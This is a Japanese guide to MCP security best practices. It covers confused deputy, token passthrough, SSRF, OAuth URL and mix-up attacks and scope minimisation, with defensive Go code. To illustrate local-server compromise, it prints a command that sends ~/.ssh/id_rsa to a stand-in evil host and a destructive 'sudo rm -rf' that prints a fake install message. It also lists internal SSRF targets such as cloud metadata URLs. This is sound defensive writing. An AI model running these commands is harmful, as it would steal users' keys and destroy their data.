MCPセキュリティベストプラクティス - 攻撃と対策
MCP 公式の Security Best Practices を軸に、実装者・運用者が押さえるべき攻撃パターンと対策を整理します。OAuth を使うリモート MCP サーバーの認可仕様と併せて読む前提です。LLM を介する攻撃は AIエージェント特有の脅威、開発者のマシンで動くサーバーは ローカルMCPサーバーの安全な運用 で扱います。
1. このドキュメントで扱うこと
- Confused deputy 問題
- トークンパススルー
- SSRF
- 状態ハンドルの乗っ取り
- ローカル MCP サーバーの侵害
- OAuth 認可 URL の検証
- stdio プロキシでの権限昇格
- Mix-up 攻撃
- localhost リダイレクト URI のなりすまし
- CIMD の信頼ポリシー
- スコープ最小化
Confused deputy 問題
MCP サーバーが、サードパーティ API の前段に立つ「MCP プロキシサーバー」として動くと発生します。プロキシは、サードパーティの認可サーバーに対して 1 つの静的なクライアント ID で接続します。この構成で、次の 4 つの条件がそろうと、攻撃者は利用者の同意を飛ばして認可コードを奪えます。
- プロキシがサードパーティの認可サーバーに対し、静的クライアント ID を使っている
- プロキシが MCP クライアントに動的クライアント登録 (DCR) を許している (クライアントごとに
client_idを発行する) - サードパーティの認可サーバーが、初回の認可後に同意 Cookie を設定する
- プロキシが、サードパーティへ転送する前に、クライアントごとの同意を確認していない
攻撃の流れは次のとおりです。
対策は、プロキシ自身が「MCP クライアントごとの同意」を、サードパーティへ転送する前に取ることです。次の要件を満たします。
| 項目 | 要件 |
|---|---|
| 同意の保存 | 利用者ごとに承認済みの client_id を記録し、サードパーティへの転送前に確認する。保存先はサーバー側 DB かサーバー固有の Cookie |
| 同意画面 | クライアント名、要求されるサードパーティのスコープ、トークンの送り先となる登録済みの redirect_uri を表示する。CSRF 対策を入れ、frame-ancestors CSP か X-Frame-Options: DENY でクリックジャッキングを防ぐ |
| 同意 Cookie | 名前に __Host- を付け、Secure / HttpOnly / SameSite=Lax を設定する。署名するかサーバー側セッションを使い、特定の client_id に紐づける (「この利用者は同意済み」だけにしない) |
redirect_uri | 登録済みの値と完全一致で比較する。パターンやワイルドカードは使わない。再登録なしの変更は拒否する |
state | 暗号論的乱数で認可リクエストごとに生成する。同意が明示的に承認された後に保存し、コールバックで厳密に一致を確認する。1 回限りで、有効期限は短くする (例: 10 分) |
特に state を保存する Cookie やセッションは、利用者が MCP サーバー側の同意画面で承認した後にだけ設定します。同意前に設定すると、攻撃者が細工した認可リクエストで同意画面を迂回できます。
トークンパススルー
MCP サーバーが、MCP クライアントから受け取ったトークンを、自分宛てに発行されたものかを検証せずに受理し、下流 API にそのまま転送するアンチパターンです。仕様は明示的に禁止しています。
問題は 2 つの側面にあります。
- audience の検証漏れ: 自分宛てでないトークンを受理すると、他のサービス向けに発行された正当なトークンを、意図しないサービスで使い回せる
- トークンの転送: 検証せずに下流へ転送すると、下流 API が「MCP サーバーが検証したトークン」と誤って信頼する (confused deputy)
主なリスクは次のとおりです。
- セキュリティ制御の迂回: レート制限や監視が、トークンの audience に依存している場合、クライアントが下流 API を直接呼べると回避される
- 監査証跡の欠落: MCP サーバーがクライアントを区別できず、下流のログにも本来の呼び出し元が現れない。盗まれたトークンを持つ攻撃者が、MCP サーバーをデータ流出の中継に使える
- 信頼境界の崩壊: 複数のサービスがトークンを受理すると、1 つが侵害されただけで他へ波及する
- 将来の拡張が難しくなる: 今は単なる中継でも、あとから制御を足すときに audience の分離が前提になる
対策は 1 つで、MCP サーバーは自分宛てに明示的に発行されたトークンだけを受理することです。下流 API を呼ぶ必要がある場合は、MCP サーバー自身が OAuth クライアントとなり、下流の認可サーバーから別のトークンを取得します。
SSRF
MCP クライアントは OAuth のメタデータ探索で、MCP サーバーが返す次の URL を取得します。
WWW-Authenticateヘッダーのresource_metadataの URL- Protected Resource Metadata の
authorization_serversの URL - 認可サーバーのメタデータにある
token_endpoint、authorization_endpointなど
悪意ある MCP サーバーは、これらに内部の宛先を仕込めます。
| 手口 | 例 |
|---|---|
| 内部 IP への直接アクセス | http://192.168.1.1/admin、http://10.0.0.1/api |
| クラウドのメタデータ | http://169.254.169.254/ から IAM 認証情報を取得 |
| localhost のサービス | http://localhost:6379/ (Redis、DB、管理画面) |
| DNS rebinding | 検証時は安全な IP、利用時に内部 IP へ変わるドメイン |
| リダイレクトの連鎖 | 一見正常な URL から内部リソースへ転送 |
結果として、認証情報の流出、内部ネットワークの偵察、内部サービスへの POST による状態変更、ファイアウォールの迂回、エラーメッセージ経由のデータ流出が起こります。サーバーにデプロイされた MCP クライアントは、次の対策を、ネットワーク環境に合わせて実装します。
| 対策 | 内容 |
|---|---|
| HTTPS の強制 | 本番では OAuth 関連の URL に https:// を要求する。http:// は開発時のループバック (localhost、127.0.0.1、::1) のみ許可し、明示的なオプトアウトを用意する |
| プライベート IP のブロック | RFC 9728 の推奨に従い、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、ループバック、リンクローカル (169.254.0.0/16)、fc00::/7、fe80::/10 を遮断する |
| リダイレクト先の検証 | 自動で追従せず、各ホップに同じ検証 (HTTPS と IP 範囲) を適用する |
| egress プロキシ | Smokescreen のようなプロキシで、内部宛てを遮断し、クライアントの外向き通信をネットワークポリシーで絞る |
| DNS の TOCTOU | 検証時と利用時で名前解決の結果が変わり得る。解決した IP を固定して接続し、複数の対策を重ねる |
IP アドレスの検証を自前の文字列処理で書かないでください。8 進数、16 進数、IPv4 射影の IPv6 アドレスのようなエンコードの抜け道を、自作のパーサーは見落とします。
SSRF の被害者は MCP クライアントだけではありません。認可サーバーが Client ID Metadata Documents (CIMD) に対応していると、未知のクライアントから渡された URL を認可サーバーが取得します。悪意あるクライアントは、これを使って認可サーバーから内部の管理エンドポイントへリクエストさせられます。上記の対策は、認可サーバーのメタデータ取得にも同様に必要です。
状態ハンドルの乗っ取り
MCP にはプロトコル上のセッションがありません (2026-07-28 版)。複数のリクエストにまたがる状態が必要なサーバーは、買い物カゴ ID やワークフロー ID のような明示的な「ハンドル」を発行し、以降のツール呼び出しで通常の引数として受け取ります。権限のない第三者がこのハンドルを入手または推測し、他の利用者の状態にアクセスするのが「状態ハンドルの乗っ取り」です。
- サーバーが認証済みの利用者にハンドルを発行する
- 攻撃者がハンドルを入手または推測する
- 攻撃者がそのハンドルを引数にツールを呼ぶ
- サーバーが呼び出し元との対応を確認せず、元の利用者の状態を操作してしまう
対策は次のとおりです。
- 認可を実装しているサーバーは、すべてのリクエストを検証する。ハンドルを持っていることを認証として扱わない
- 暗号論的乱数で、予測できないハンドルを生成する。連番や推測しやすい識別子を避け、有効期限を付ける
- ハンドルを、認証済みの利用者にサーバー側で紐づける。たとえば保存キーを
<user_id>:<handle>にし、user_idはクライアントが渡した値ではなく、検証済みトークンから取り出す。他の利用者が提示したハンドルは拒否する
2025-11-25 以前のバージョンのサーバー割り当てセッション ID を守る方法は、その版の Security Best Practices の「Session Hijacking」を参照してください。
ローカル MCP サーバーの侵害
ローカル MCP サーバーは、利用者のマシン上で実行されるバイナリです。サンドボックスと同意の仕組みがないと、次の攻撃が成立します。
- 攻撃者がクライアント設定に、悪意ある「起動コマンド」を仕込む
- 攻撃者がサーバー本体に悪意あるペイロードを仕込んで配布する
- localhost に残った保護のないサーバーに、DNS rebinding でアクセスする
起動コマンドの例として、次のようなものが埋め込まれ得ます。
# データの持ち出し
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
# 権限昇格
sudo rm -rf /important/system/files && echo "MCP server installed!"
クライアントがワンクリックでローカルサーバーを設定できるなら、コマンドの実行前に同意の仕組みを実装することが必須です。具体的な要件と、サーバー開発者・利用者が取る対策は ローカルMCPサーバーの安全な運用 にまとめています。
OAuth 認可 URL の検証
認可フローで、MCP サーバーはクライアントがブラウザーで開く認可 URL を渡します。悪意あるサーバーは、クライアントの URL 処理の不備を突けます。
| 攻撃 | 流れ |
|---|---|
| JavaScript URL の注入 (XSS) | javascript: の URL を認可エンドポイントとして返し、クライアントが window.open() などへ渡して実行される |
| シェル経由のコマンド注入 | URL に仕込んだシェルのペイロードを、cmd.exe、PowerShell、シェルスクリプトで URL を開く実装が解釈する |
| stdio トランスポート経由の権限昇格 | XSS と stdio の機能が組み合わさり、Web の攻撃がシステム全体の侵害に発展する |
クライアントは次を守ります。
http://とhttps://だけを許可する (allowlist 方式)。http://は開発時のループバックに限り、本番の認可サーバーはhttps://を使うjavascript:、data:、file:、vbscript:などの危険なスキームを拒否する- URL を開くときにシェルコマンドを使わない。プラットフォームごとの、シェルを介さない仕組みを使う
- 受け取った URL を厳密にパースして検証し、シェルが解釈し得る特殊文字を含むものは拒否する。疑わしい認可 URL はログに残す
- Web ベースのクライアントは、CSP (
script-src 'self'、default-src 'self'など) を設定する
stdio プロキシでの権限昇格
stdio トランスポート自体に脆弱性はありません。ただし、別のプロキシサービスが stdio の接続を管理し、MCP サーバーを子プロセスとして起動できるアーキテクチャでは、Web の攻撃からシステム全体の侵害への経路になります。直接 stdio を使う構成には当てはまりません。
- 攻撃者が、前述の認可 URL の不備などで、クライアントで XSS を成立させる
- クライアントの環境から、クライアントとプロキシの間の認証トークンを盗む
- 盗んだトークンで、ローカルのプロキシに認証済みリクエストを送る
- プロキシが、正規の MCP サーバーのコマンドだと思って任意のコマンドを stdio で起動する
- 攻撃者が、利用者の権限で任意のコードを実行する
主な防御は、この経路の入口となる脆弱性 (認可 URL の検証、CSP、MCP サーバーからの入力の検証) を作らないことです。XSS はクライアントのセキュリティコンテキストを根本から壊すため、被害の限定も必要です。
- プロキシは、起動したプロセスをサンドボックスやコンテナーに閉じ込め、ファイルシステムへのアクセスを制限する
- stdio の利用をすべてログに残し、危険なコマンドには追加の認可を要求する
- プロキシ自体を最小権限で、別のセキュリティコンテキスト、コンテナー、制限された環境で動かす
Mix-up 攻撃
MCP クライアントは、生涯に多数の認可サーバーとやりとりします。そのうちの 1 つを攻撃者が支配していると、別の正直な認可サーバーが発行した認可コードやトークンを、攻撃者のサーバーへ送らせようとします (RFC 9207 の Mix-up 攻撃)。
対策は、認可レスポンスの iss パラメーターを、リダイレクトの前に記録した認可サーバーの issuer と比較することです (RFC 9207)。これにより、認可コードが意図しないトークンエンドポイントで使われません。
- PKCE だけでは防げない: クライアントは
code_verifierを攻撃者のトークンエンドポイントへ送ってしまう - Resource Indicators も効かない: 攻撃者の認可サーバーが、正直な認可サーバーに届く前にリクエストを横取りする
- この対策は、正直な認可サーバーが
issを返すことが前提で、issを返さない正直な認可サーバーには効かない
実装の詳細は MCPの認可 - OAuth 2.1とメタデータ探索 の iss の検証を参照してください。
localhost リダイレクト URI のなりすまし
ネイティブアプリやローカルで動くクライアントは、localhost のリダイレクト URI をよく使います。CIMD のメタデータ文書は「ドメインを管理していること」は証明しますが、「localhost のそのポートで待ち受けているのがどのプロセスか」は証明できません。
- 攻撃者が、正規クライアントのメタデータ URL を自分の
client_idとして使う - 任意の
localhostポートに待ち受け、そのアドレスをredirect_uriにする - 利用者が承認すると、リダイレクトで認可コードを受け取る
サーバー側には正規クライアントのメタデータが見え、利用者にも正規のクライアント名が見えるため、発見が困難です。認可サーバーは、localhost だけをリダイレクト先とするクライアントに追加の警告を表示し (SHOULD)、認可時にリダイレクト URI のホスト名を明示します (MUST)。必要に応じて、追加の証明の仕組みを求められます (MAY)。
CIMD の信頼ポリシー
CIMD を受け付ける認可サーバーは、ドメインに基づく信頼ポリシーで、受け付ける URL 形式の client_id を決められます。
- 保護されたサーバーは、信頼するドメインの allowlist を使う
- 公開サーバーは、HTTPS の
client_idを何でも受け付ける - 未知のドメインは、評判を確認する
- ドメインの年齢や証明書による制限を設ける
- フィッシングを防ぐため、CIMD のホスト名などを目立つように表示する
アクセスポリシーの決定権はサーバー側にあります。詳細は仕様の Trust Policies と、CIMD 仕様のセクション 6.4・6.8 を参照してください。
スコープ最小化
スコープの設計が悪いと、トークンが漏れたときの被害が大きくなり、利用者の負担が増え、監査の証跡も読みにくくなります。
典型的な事故は、MCP サーバーが scopes_supported にすべてのスコープを載せ、クライアントがすべてを要求した結果、files:*、db:*、admin:* のような広いスコープを持つトークンが発行されることです。このトークンがログやメモリから漏れると、無関係なツールやリソースへの横展開、高リスクなツールの即時実行、再同意なしでは難しい失効が起こります。広すぎるスコープの同意画面は、利用者が拒否する原因にもなります。
最小権限の方針で、段階的にスコープを昇格させます。
| 担当 | 対策 |
|---|---|
| サーバー | 初期スコープを、低リスクな探索・読み取りだけの最小集合にする (例: mcp:tools-basic)。特権操作が初めて試みられたとき、WWW-Authenticate の scope="..." で必要なスコープだけを要求する。カタログ全体を返さない。昇格のイベント (要求したスコープ、付与された部分集合) を、相関 ID とともにログに残す |
| 認可サーバー | 要求されたスコープの部分集合を発行してよい |
| サーバー (受け入れ) | 縮小されたスコープのトークンを受け入れる |
| クライアント | ベースラインのスコープ (または初回の WWW-Authenticate で指定されたもの) だけで始める。拒否されたスコープで昇格を繰り返さないよう、直近の失敗をキャッシュする。再認可では、以前に要求したスコープと新しいチャレンジのスコープの和集合を要求する |
チャレンジに含めるスコープの範囲は、サーバーが決めます。最小なら現在の操作に必要なものだけ、推奨は現在の操作に加えて、よく一緒に使われる関連スコープです。広げすぎるほど、最小権限の原則から離れます。
初回の WWW-Authenticate に scope がないとき、仕様は scopes_supported のすべてを要求するフォールバックを定めています。汎用的な MCP クライアントは、個々のスコープを選ぶ知識を持たないため、認可サーバーと利用者に判断を委ねる設計です。この前提のため、scopes_supported には「基本機能に必要な最小のスコープ」だけを載せます。
スコープの階層 (admin が read を含むなど) がある場合、サーバーは、トークンが操作に十分かを判断するときに階層を考慮します。クライアントが階層で重複を除く必要はありません。
2. 攻撃と主な対策
| 攻撃 | 狙われる箇所 | 主な対策 | 主な担当 |
|---|---|---|---|
| Confused deputy | MCP プロキシサーバー | クライアントごとの同意、redirect_uri の完全一致、state の検証、__Host- Cookie | プロキシ実装者 |
| トークンパススルー | MCP サーバー | audience の検証、自分宛てのトークンだけを受理、下流用トークンは別に取得 | サーバー実装者 |
| SSRF | クライアント、認可サーバー | HTTPS 強制、プライベート IP の遮断、リダイレクト検証、egress プロキシ、DNS の固定 | クライアント / 認可サーバー |
| 状態ハンドルの乗っ取り | ステートフルなツール | 推測困難なハンドル、検証済みトークンの利用者への紐づけ | サーバー実装者 |
| 認可 URL の悪用 | クライアント | スキームの allowlist、シェルを介さない URL オープン、CSP | クライアント実装者 |
| stdio プロキシの権限昇格 | ローカルプロキシ | サンドボックス、最小権限、ログ、危険なコマンドへの追加認可 | プロキシ実装者 |
| Mix-up | OAuth クライアント | RFC 9207 の iss 検証 | クライアント実装者 |
| localhost なりすまし | 認可サーバー | 警告表示、リダイレクト URI のホスト名の明示 | 認可サーバー |
| 悪意あるローカルサーバー | 利用者のマシン | 実行コマンドの表示と同意、サンドボックス、バージョン固定 | クライアント / 利用者 |
| 過剰なスコープ | トークン | 最小の初期スコープ、段階的な昇格、ワイルドカードの回避 | サーバー / クライアント |
3. 開発者がつまずきやすいポイント
「トークンが有効」と「自分宛て」を混同する
署名、有効期限、発行元が正しくても、aud (または Resource Indicator) が自分でなければ受理してはいけません。IdP が付ける account のような汎用の audience を許可したり、api のような一般的な値を受け入れたりしないでください。検証は、実績のあるライブラリに任せ、audience の一致だけは自分で必ず設定します。
プロキシの「静的クライアント ID」を気に留めない
MCP サーバーがサードパーティ API の前段に立つとき、MCP クライアントごとの client_id と、サードパーティ向けの静的 client_id が別物になります。サードパーティ側の同意 Cookie は、後者にしか紐づきません。サードパーティ側の同意画面が出ないからといって、MCP 側の同意を省略してはいけません。
同意 Cookie や state を、同意の前に設定する
state を保存するセッションを、同意画面の前に作るのは典型的な誤りです。同意画面の後に設定しないと、細工したリンクで同意を迂回されます。
redirect_uri を前方一致や正規表現で検証する
完全一致で検証します。https://app.example.com/ から始まる、のような比較は、オープンリダイレクトやサブドメインの乗っ取りで破られます。
IP の遮断を自作の文字列処理で書く
10. で始まるかを調べる実装は、0xA.0.0.1 や ::ffff:10.0.0.1 を通します。標準ライブラリで IP をパースしてから範囲を判定し、さらに実際に接続する IP を検証します。
ホスト名を検証してから、別に名前解決して接続する
検証時と接続時の名前解決が、別の結果を返すと DNS rebinding で回避されます。接続の直前に、解決された IP を検証するか、プロキシ側で遮断します。
ハンドルの「推測しにくさ」だけに頼る
十分な長さの乱数でも、漏れれば他人が使えます。認証済みサーバーでは、ハンドルは名前にすぎません。呼び出しごとに、トークンから取り出した利用者との対応を検証します。認証のないサーバーでは、ハンドルがそのままベアラートークンになるため、十分なエントロピーと有効期限が必須です。
「PKCE があるから Mix-up は大丈夫」と考える
PKCE は認可コードの横取りや注入を防ぎますが、攻撃者の認可サーバーが運営するトークンエンドポイントに code_verifier を送ってしまう Mix-up は防げません。iss の検証が必要です。
ワイルドカードのスコープを便利だからと使う
* や full-access のようなスコープは、同意の回数を減らす代わりに、トークンが漏れたときの被害を最大にします。トークンに書かれたスコープを、サーバー側の認可ロジックなしに十分だと見なすのも誤りです。
4. コード例
以下は Go での実装例です。標準ライブラリだけで書き、実際の組み込みでは、各自のフレームワークや認可ライブラリに合わせて調整します。
SSRF を防ぐ HTTP クライアント
接続する直前の IP アドレスを検証します。net.Dialer の Control フックには、名前解決済みの IP が渡されるため、DNS の TOCTOU と、IP 表記の抜け道を同時に避けられます。
package safefetch
import (
"errors"
"fmt"
"net"
"net/http"
"net/netip"
"net/url"
"syscall"
"time"
)
// 標準の IsPrivate に含まれない、共有アドレス空間 (CGNAT) も遮断する。
var cgnat = netip.MustParsePrefix("100.64.0.0/10")
func blocked(a netip.Addr) bool {
a = a.Unmap() // ::ffff:10.0.0.1 のような IPv4 射影を IPv4 として判定する
return a.IsLoopback() || a.IsPrivate() || a.IsLinkLocalUnicast() ||
a.IsLinkLocalMulticast() || a.IsMulticast() || a.IsUnspecified() ||
cgnat.Contains(a)
}
// CheckURL は、取得する前の URL を検証する (OAuth 関連の URL は https のみ)。
func CheckURL(raw string) error {
u, err := url.Parse(raw)
if err != nil {
return err
}
if u.Scheme != "https" {
return fmt.Errorf("https only: %q", u.Scheme)
}
if u.Hostname() == "" {
return errors.New("empty host")
}
return nil
}
// NewClient は、解決済みの接続先 IP を検証する HTTP クライアントを返す。
func NewClient() *http.Client {
dialer := &net.Dialer{
Timeout: 5 * time.Second,
// 名前解決の後、接続の直前に呼ばれる。address は "IP:port"。
Control: func(network, address string, _ syscall.RawConn) error {
host, _, err := net.SplitHostPort(address)
if err != nil {
return err
}
ip, err := netip.ParseAddr(host)
if err != nil {
return err
}
if blocked(ip) {
return fmt.Errorf("blocked destination: %s", ip)
}
return nil
},
}
return &http.Client{
Timeout: 10 * time.Second,
Transport: &http.Transport{
DialContext: dialer.DialContext,
Proxy: nil, // egress プロキシを使うなら、ここでプロキシを明示する
},
// リダイレクトは自動追従せず、各ホップを検証する。
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 3 {
return errors.New("too many redirects")
}
return CheckURL(req.URL.String())
},
}
}
egress プロキシを使う構成では、アプリケーションからの接続先はプロキシになるため、この検証はプロキシ側 (Smokescreen など) で行います。
認可 URL を安全に開く
スキームを allowlist で検証し、シェルを介さずにブラウザーを起動します。
package authurl
import (
"fmt"
"net/netip"
"net/url"
"os/exec"
)
func isLoopback(host string) bool {
if host == "localhost" {
return true
}
a, err := netip.ParseAddr(host)
return err == nil && a.IsLoopback()
}
// Open は、認可サーバーから渡された URL を検証し、既定のブラウザーで開く。
func Open(raw string) error {
u, err := url.Parse(raw)
if err != nil {
return err
}
switch u.Scheme {
case "https":
case "http":
if !isLoopback(u.Hostname()) { // http は開発時のループバックだけ
return fmt.Errorf("http is only allowed for loopback: %s", u.Host)
}
default: // javascript:, data:, file: などはここで拒否される
return fmt.Errorf("unsupported scheme: %q", u.Scheme)
}
// 引数として URL を渡し、シェルは使わない (Linux の例)。
// macOS は "open"、Windows は cmd.exe ではなく専用の API を使う。
return exec.Command("xdg-open", u.String()).Start()
}
状態ハンドルを利用者に紐づける
ハンドルは乱数で生成し、保存のキーに検証済みトークンから取り出した利用者 ID を含めます。
package basket
import (
"crypto/rand"
"encoding/base64"
"errors"
"sync"
"time"
)
var ErrNotFound = errors.New("basket not found or expired")
type entry struct {
items []string
expiresAt time.Time
}
type Store struct {
mu sync.Mutex
m map[string]*entry
}
func NewStore() *Store { return &Store{m: map[string]*entry{}} }
// キーは "<user_id>:<handle>"。userID は検証済みトークンの sub から取り出し、
// クライアントが引数で渡した値は使わない。
func key(userID, handle string) string { return userID + ":" + handle }
func newHandle() (string, error) {
b := make([]byte, 32) // 256 ビットの乱数
if _, err := rand.Read(b); err != nil {
return "", err
}
return "bsk_" + base64.RawURLEncoding.EncodeToString(b), nil
}
func (s *Store) Create(userID string) (string, error) {
h, err := newHandle()
if err != nil {
return "", err
}
s.mu.Lock()
defer s.mu.Unlock()
s.m[key(userID, h)] = &entry{expiresAt: time.Now().Add(24 * time.Hour)}
return h, nil
}
// Add は、他の利用者のハンドルや、期限切れ・未知のハンドルを区別せず ErrNotFound にする。
func (s *Store) Add(userID, handle, sku string) error {
s.mu.Lock()
defer s.mu.Unlock()
e, ok := s.m[key(userID, handle)]
if !ok || time.Now().After(e.expiresAt) {
return ErrNotFound
}
e.items = append(e.items, sku)
return nil
}
ツールの実行エラーとして ErrNotFound のメッセージ (「期限切れ、または存在しません」) を返せば、モデルが新しいハンドルを作り直せます。
同意の後にだけ state を設定する (プロキシ)
プロキシの認可エンドポイントで、利用者が同意を承認した後だけ state を発行し、__Host- Cookie に入れます。
package proxy
import (
"crypto/rand"
"crypto/subtle"
"encoding/base64"
"net/http"
)
func randomToken(n int) string {
b := make([]byte, n)
if _, err := rand.Read(b); err != nil {
panic(err)
}
return base64.RawURLEncoding.EncodeToString(b)
}
// redirect_uri は、登録済みの値との完全一致だけを許可する。
func validRedirect(registered []string, got string) bool {
for _, r := range registered {
if subtle.ConstantTimeCompare([]byte(r), []byte(got)) == 1 {
return true
}
}
return false
}
// 利用者が MCP 側の同意画面で「承認」した後に呼ぶ。
// サードパーティの認可サーバーへリダイレクトする直前に設定する。
func startThirdPartyFlow(w http.ResponseWriter) (state string) {
state = randomToken(32)
http.SetCookie(w, &http.Cookie{
Name: "__Host-mcp_oauth_state", // __Host- は Path=/、Secure、Domain なしが必須
Value: state, // 本番では署名するか、サーバー側セッションの ID にする
Path: "/",
Secure: true,
HttpOnly: true,
SameSite: http.SameSiteLaxMode,
MaxAge: 600, // 10 分
})
return state
}
// コールバックで、クエリの state と Cookie の値を比較する。1 回限りで消す。
func checkState(w http.ResponseWriter, r *http.Request) bool {
c, err := r.Cookie("__Host-mcp_oauth_state")
if err != nil {
return false
}
// 使い切りにするため、検証の成否にかかわらず Cookie を削除する。
http.SetCookie(w, &http.Cookie{
Name: "__Host-mcp_oauth_state", Value: "", Path: "/",
Secure: true, HttpOnly: true, SameSite: http.SameSiteLaxMode, MaxAge: -1,
})
got := r.URL.Query().Get("state")
return got != "" && subtle.ConstantTimeCompare([]byte(got), []byte(c.Value)) == 1
}
5. まとめ
- Confused deputy は、静的クライアント ID、DCR、同意 Cookie がそろうと成立する。プロキシは、サードパーティへ転送する前に、MCP クライアントごとの同意を取る。
redirect_uriは完全一致で、stateは同意の後に設定し、使い切りにする - トークンパススルーは禁止。MCP サーバーは自分宛てのトークンだけを受理し、下流 API には別のトークンを使う
- SSRF は、OAuth のメタデータ探索で起こる。HTTPS の強制、プライベート IP の遮断、リダイレクトの各ホップの検証、egress プロキシ、接続する IP の検証を組み合わせる
- 状態ハンドルは名前にすぎない。乱数で生成し、検証済みの利用者に紐づけ、呼び出しごとに確認する
- 認可 URL は、スキームを allowlist で検証し、シェルを介さずに開く。stdio プロキシは、クライアントの侵害を前提に最小権限とサンドボックスで囲う
- Mix-up は PKCE では防げず、
issの検証が必要。localhost リダイレクトのなりすましは、CIMD では防げない。認可サーバーが警告とホスト名の明示で補う - スコープは最小から始め、必要になったときに段階的に昇格させる。ワイルドカードや全スコープの公開は避ける
関連ドキュメント
- OWASP Top 10
- OWASP ASVS
- MCPの認可 - OAuth 2.1とメタデータ探索
- AIエージェント特有の脅威 - プロンプトインジェクションとツール汚染
- ローカルMCPサーバーの安全な運用